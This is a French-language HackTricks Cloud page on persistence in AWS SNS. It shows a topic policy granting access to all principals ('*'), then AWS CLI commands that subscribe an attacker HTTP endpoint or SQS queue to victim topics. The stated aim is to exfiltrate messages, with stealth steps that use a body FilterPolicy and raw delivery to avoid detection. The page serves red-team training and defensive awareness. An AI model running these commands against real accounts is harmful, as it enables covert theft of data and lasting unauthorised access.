AWS - SNS Persistence
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SNS
Pour plus dâinformations, consultez :
Persistence
Lors de la crĂ©ation dâun SNS topic vous devez indiquer avec une IAM policy qui a accĂšs en lecture et en Ă©criture. Il est possible dâindiquer des comptes externes, ARN of roles, ou mĂȘme â*â.
La policy suivante donne Ă tout le monde dans AWS lâaccĂšs en lecture et en Ă©criture au SNS topic appelĂ© MySNS.fifo:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
Créer des abonnés
Pour continuer à exfiltrer tous les messages de tous les topics, un attaquant pourrait créer des abonnés pour tous les topics.
Notez que si le topic est de type FIFO, seuls les abonnĂ©s utilisant le protocole SQS peuvent ĂȘtre utilisĂ©s.
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Exfiltration covert et sélective via FilterPolicy on MessageBody
Un attaquant disposant de sns:Subscribe et sns:SetSubscriptionAttributes sur un topic peut créer une subscription SQS furtive qui ne transmet que les messages dont le corps JSON correspond à un filtre trÚs restreint (par exemple, {"secret":"true"}). Cela réduit le volume et la détection tout en exfiltrant des enregistrements sensibles.
Impact potentiel : Exfiltration covert et peu bruyante uniquement des messages SNS ciblés depuis un topic victime.
Ătapes (AWS CLI) :
- VĂ©rifier que la policy de la queue SQS de lâattaquant autorise
sqs:SendMessagedepuis leTopicArnde la victime (Conditionaws:SourceArnégale auTopicArn). - Créer la subscription SQS au topic :
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- Configurer le filtre pour opérer sur le message body et ne faire correspondre que
secret=true:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- Option stealth : activer le raw delivery pour que seul le payload brut arrive chez le destinataire :
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- Validation : publier deux messages et confirmer que seul le premier est livrĂ© Ă la queue de lâattaquant. Payloads exemples :
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- Nettoyage : unsubscribe et supprimer la queue SQS de lâattaquant si elle a Ă©tĂ© créée pour les tests de persistence.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

